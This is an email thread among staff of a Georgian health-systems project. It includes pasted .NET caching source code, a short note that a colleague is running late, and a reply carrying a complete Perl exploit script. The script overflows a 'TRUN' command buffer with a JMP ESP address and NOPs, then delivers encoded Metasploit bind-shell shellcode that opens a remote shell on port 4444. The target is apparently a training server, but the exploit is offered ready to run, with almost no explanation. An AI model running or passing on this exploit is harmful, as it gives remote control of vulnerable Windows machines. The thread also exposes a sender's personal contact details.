Subject: RE: გამოიყენეთ ეს კოდი
From: Dimitri Ivanauri <[email-masked]>
To: Manuchar Tokhadze <[email-masked]>, Zurab Dalakishvili <[email-masked]>, Nikoloz Ivanauri <[email-masked]>, Tamta Kobakhidze <[email-masked]>, Giorgi Usharauli <[email-masked]>, Sergo Rostiashvili <[email-masked]>, Alexander Nodia <[email-masked]>, Alexander Turdziladze <[email-masked]>, Giorgi Lobjanidze <[email-masked]>, Ketevan Tatoshvili <[email-masked]>, Mary Gelashvili <[email-masked]>, Natia Baratelia <[email-masked]>, Valerian Khvichia <[email-masked]>, Vazha Ezugbaia <VEzugbaia
Date: Wed, 19 Nov 2014 12:05:12 +0000

#!/usr/bin/perl
use IO::Socket;
if ($ARGV[1] eq '') {
die("Usage: $0 IP_ADDRESS PORTnn");
}

$baddata = "TRUN ."; # sets variable $baddata to "TRUN /.:/"
$baddata .= "A" x 2006; # appends (.=) 3000 "A" characters to $baddata
$baddata .= pack('V', 0x625011AF); # essfunc.dll JMP ESP
$baddata .= "x90" x 16; # 16 NOPs
# windows/shell_bind_tcp, LPORT=4444, x86/shikata_ga_nai, size 368
$baddata .= "xbbx38xa8x95x3exdaxd2xd9x74x24xf4x5fx31xc9" .
"xb1x56x31x5fx13x83xc7x04x03x5fx37x4ax60xc2" .
"xafx03x8bx3bx2fx74x05xdex1exa6x71xaax32x76" .
"xf1xfexbexfdx57xebx35x73x70x1cxfex3exa6x13" .
"xffx8ex66xffxc3x91x1ax02x17x72x22xcdx6ax73" .
"x63x30x84x21x3cx3ex36xd6x49x02x8axd7x9dx08" .
"xb2xafx98xcfx46x1axa2x1fxf6x11xecx87x7dx7d" .
"xcdxb6x52x9dx31xf0xdfx56xc1x03x09xa7x2ax32" .
"x75x64x15xfax78x74x51x3dx62x03xa9x3dx1fx14" .
"x6ax3fxfbx91x6fxe7x88x02x54x19x5dxd4x1fx15" .
"x2ax92x78x3axadx77xf3x46x26x76xd4xcex7cx5d" .
"xf0x8bx27xfcxa1x71x86x01xb1xdex77xa4xb9xcd" .
"x6cxdexe3x99x41xedx1bx5axcdx66x6fx68x52xdd" .
"xe7xc0x1bxfbxf0x27x36xbbx6fxd6xb8xbcxa6x1d" .
"xecxecxd0xb4x8cx66x21x38x59x28x71x96x31x89" .
"x21x56xe1x61x28x59xdex92x53xb3x69x95x9dxe7" .
"x3ax72xdcx17xadxdex69xf1xa7xcex3fxa9x5fx2d" .
"x64x62xf8x4ex4exdex51xd9xc6x08x65xe6xd6x1e" .
"xc6x4bx7exc9x9cx87xbbxe8xa3x8dxebx63x9cx46" .
"x61x1ax6fxf6x76x37x07x9bxe5xdcxd7xd2x15x4b" .
"x80xb3xe8x82x44x2ex52x3dx7axb3x02x06x3ex68" .
"xf7x89xbfxfdx43xaexafx3bx4bxeax9bx93x1axa4" .
"x75x52xf5x06x2fx0cxaaxc0xa7xc9x80xd2xb1xd5" .
"xccxa4x5dx67xb9xf0x62x48x2dxf5x1bxb4xcdxfa" .
"xf6x7cxfdxb0x5axd4x96x1cx0fx64xfbx9exfaxab" .
"x02x1dx0ex54xf1x3dx7bx51xbdxf9x90x2bxaex6f" .
"x96x98xcfxa5";

$socket = IO::Socket::INET->new( # setup TCP socket – $socket
Proto => "tcp",
PeerAddr => "$ARGV[0]", # command line variable 1 – IP Address
PeerPort => "$ARGV[1]" # command line variable 2 – TCP port
) or die "Cannot connect to $ARGV[0]:$ARGV[1]";

$socket->recv($sd, 1024); # Receive 1024 bytes data from $socket, store in $sd
print "$sd"; # print $sd variable
$socket->send($baddata); # send $baddata variable via $socket

From: Manuchar Tokhadze
Sent: Wednesday, November 19, 2014 3:46 PM
To: Zurab Dalakishvili; Nikoloz Ivanauri; Tamta Kobakhidze; Giorgi Usharauli; Sergo Rostiashvili; Alexander Nodia; Alexander Turdziladze; Dimitri Ivanauri; Giorgi Lobjanidze; Ketevan Tatoshvili; Mary Gelashvili; Natia Baratelia; Valerian Khvichia; Vazha Ezugbaia; [email-masked]
Subject: გამოიყენეთ ეს კოდი

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128

//

//   Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

//

using System;

using System.Runtime.Caching.Resources;

using System.Collections.Generic;

using System.Collections.ObjectModel;

using System.Diagnostics.CodeAnalysis;

using System.Globalization;

using System.Text;

namespace System.Runtime.Caching {

internal sealed class MemoryCacheEntryChangeMonitor : CacheEntryChangeMonitor {

// Dev10 909507: use UTC minimum DateTime for error free conversions to DateTimeOffset

private static readonly DateTime DATETIME_MINVALUE_UTC = new DateTime(0, DateTimeKind.Utc);

private const int MAX_CHAR_COUNT_OF_LONG_CONVERTED_TO_HEXADECIMAL_STRING = 16;

private ReadOnlyCollection<String> _keys;

private String _regionName;

private String _uniqueId;

private DateTimeOffset _lastModified;

private List<MemoryCacheEntry> _dependencies;

private MemoryCacheEntryChangeMonitor() {} // hide default .ctor

private void InitDisposableMembers(MemoryCache cache) {

bool dispose = true;

try {

bool hasChanged = false;

string uniqueId = null;

_dependencies = new List<MemoryCacheEntry>(_keys.Count);

if (_keys.Count == 1) {

string k = _keys[0];

MemoryCacheEntry entry = cache.GetEntry(k);

DateTime utcCreated = DATETIME_MINVALUE_UTC;

StartMonitoring(cache, entry, ref hasChanged, ref utcCreated);

uniqueId = k + utcCreated.Ticks.ToString("X", CultureInfo.InvariantCulture);

_lastModified = utcCreated;

}

else {

int capacity = 0;

foreach (string key in _keys) {

capacity += key.Length + MAX_CHAR_COUNT_OF_LONG_CONVERTED_TO_HEXADECIMAL_STRING;

}

StringBuilder sb = new StringBuilder(capacity);

foreach (string key in _keys) {

MemoryCacheEntry entry = cache.GetEntry(key);

DateTime utcCreated = DATETIME_MINVALUE_UTC;

StartMonitoring(cache, entry, ref hasChanged, ref utcCreated);

sb.Append(key);

sb.Append(utcCreated.Ticks.ToString("X", CultureInfo.InvariantCulture));

if (utcCreated > _lastModified) {

_lastModified = utcCreated;

}

}

uniqueId = sb.ToString();

}

_uniqueId = uniqueId;

if (hasChanged) {

OnChanged(null);

}

dispose = false;

}

finally {

InitializationComplete();

if (dispose) {

Dispose();

}

}

}

private void StartMonitoring(MemoryCache cache, MemoryCacheEntry entry, ref bool hasChanged, ref DateTime utcCreated) {

if (entry != null) {

// pass reference to self so the dependency can notify us when it changes

entry.AddDependent(cache, this);

// add dependency to collection so we can dispose it later

_dependencies.Add(entry);

// has the entry already changed?

if (entry.State != EntryState.AddedToCache) {

hasChanged = true;

}

utcCreated = entry.UtcCreated;

}

else {

// the entry does not exist--set hasChanged to true so the user is notified

hasChanged = true;

}

}

//

// protected members

//

protected override void Dispose(bool disposing) {

if (disposing) {

if (_dependencies != null) {

foreach (MemoryCacheEntry entry in _dependencies) {

if (entry != null) {

entry.RemoveDependent(this);

}

}

}

}

}

//

// public and internal members

//

public override ReadOnlyCollection<string> CacheKeys { get { return new ReadOnlyCollection<string>(_keys); } }

public override string RegionName { get { return _regionName; } }

public override string UniqueId { get { return _uniqueId; } }

public override DateTimeOffset LastModified { get { return _lastModified; } }

internal List<MemoryCacheEntry> Dependencies { get { return _dependencies; } }

internal MemoryCacheEntryChangeMonitor(ReadOnlyCollection<String> keys, String regionName, MemoryCache cache) {

Dbg.Assert(keys != null && keys.Count > 0, "keys != null && keys.Count > 0");

_keys = keys;

_regionName = regionName;

InitDisposableMembers(cache);

}

// invoked by a cache entry dependency when it is released from the cache

internal void OnCacheEntryReleased() {

OnChanged(null);

}

}

}

Manuchar Tokhadze

Abt Associates Incorporated - Georgia

USAID Health System Strengthening Project

144, Tsereteli Avenue

Tbilisi 0119, Georgia

Tel.: (995 32) 251 00 21 (ext.: 1617)

Mob.: (995 93)  99 99 60

ehealth.moh.gov.ge

From: Zurab Dalakishvili
Sent: Wednesday, November 19, 2014 10:05 AM
To: Nikoloz Ivanauri; Manuchar Tokhadze; Tamta Kobakhidze; Giorgi Usharauli; Sergo Rostiashvili; Alexander Nodia; Alexander Turdziladze; Dimitri Ivanauri; Giorgi Lobjanidze; Ketevan Tatoshvili; Mary Gelashvili; Natia Baratelia; Valerian Khvichia; Vazha Ezugbaia; [email-masked]
Subject: late

ვაჟიკას შეაგვიანდება